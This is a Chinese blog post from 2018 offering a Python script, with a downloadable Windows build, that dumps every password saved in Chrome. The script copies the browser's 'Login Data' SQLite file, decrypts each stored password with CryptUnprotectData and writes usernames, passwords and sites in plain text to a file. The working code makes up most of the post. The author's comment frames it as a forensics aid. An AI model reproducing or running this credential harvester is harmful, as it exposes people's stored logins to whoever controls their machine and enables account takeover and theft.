[工具]Python获取Chrome浏览器已保存的所有账号密码

作者: hackliu 分类: 安全工具 发布时间: 2018-08-27 01:51

Chrome浏览器已保存的密码都保存在一个sqlite3数据库文件中,和Cookies数据库在同一个文件夹,类似:

C:\Users\Lucas Lee\AppData\Local\Google\Chrome\User Data\Default\Login Data

使用CryptUnprotectData函数解密数据库中的密码字段,即可还原密码,只需要User权限,并且只能是User权限

为了防止出现读写出错,建议先把数据库临时拷贝到当前目录。

程序会读出所有的账号、密码、网站,写入文件夹下ChromePass.txt文件

代码如下:

import os, sys
import shutil
import sqlite3
import win32crypt

outFile_path = os.path.join(os.path.dirname(sys.executable),
                            'ChromePass.txt') 
if os.path.exists(outFile_path):
    os.remove(outFile_path)


db_file_path = os.path.join(os.environ['LOCALAPPDATA'],
                            r'Google\Chrome\User Data\Default\Login Data')
tmp_file = os.path.join(os.path.dirname(sys.executable), 'tmp_tmp_tmp')
if os.path.exists(tmp_file):
    os.remove(tmp_file)
shutil.copyfile(db_file_path, tmp_file)    # In case file locked
conn = sqlite3.connect(tmp_file)
for row in conn.execute('select username_value, password_value, signon_realm from logins'):
    pwdHash = str(row[1])
    try:
        ret =  win32crypt.CryptUnprotectData(pwdHash, None, None, None, 0)
    except:
        print 'Fail to decrypt chrome passwords'
        sys.exit(-1)
    with open(outFile_path, 'a+') as outFile:
        outFile.write('UserName: {0:<20} Password: {1:<20} Site: {2} \n\n'.format(
            row[0].encode('gbk'), ret[1].encode('gbk'), row[2].encode('gbk')) )
conn.close()
print 'All Chrome passwords saved to:\n' +  outFile_path
os.remove(tmp_file)    # Remove temp file

chromePass.zip  Windows版本   win7测试通过

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

3条评论
  • Jack

    2020年10月20日 14:35

    请问是32位的系统才能用吗?

  • tuhao

    2019年1月13日 01:12

    验证有效,但是很奇怪,为什么chrome要这么做。。且不说用户电脑沦陷,如果chrome存在客户端命令执行或者站点让用户执行恶意脚本[等同于本地命令执行]之类的问题,那chrome的账号密码不是被一锅端了吗。。

    1. hackliu

      2019年1月24日 21:49

      主要用于电子取证,警方封查机器的证据提权。

hackliu进行回复 取消回复

邮箱地址不会被公开。 必填项已用*标注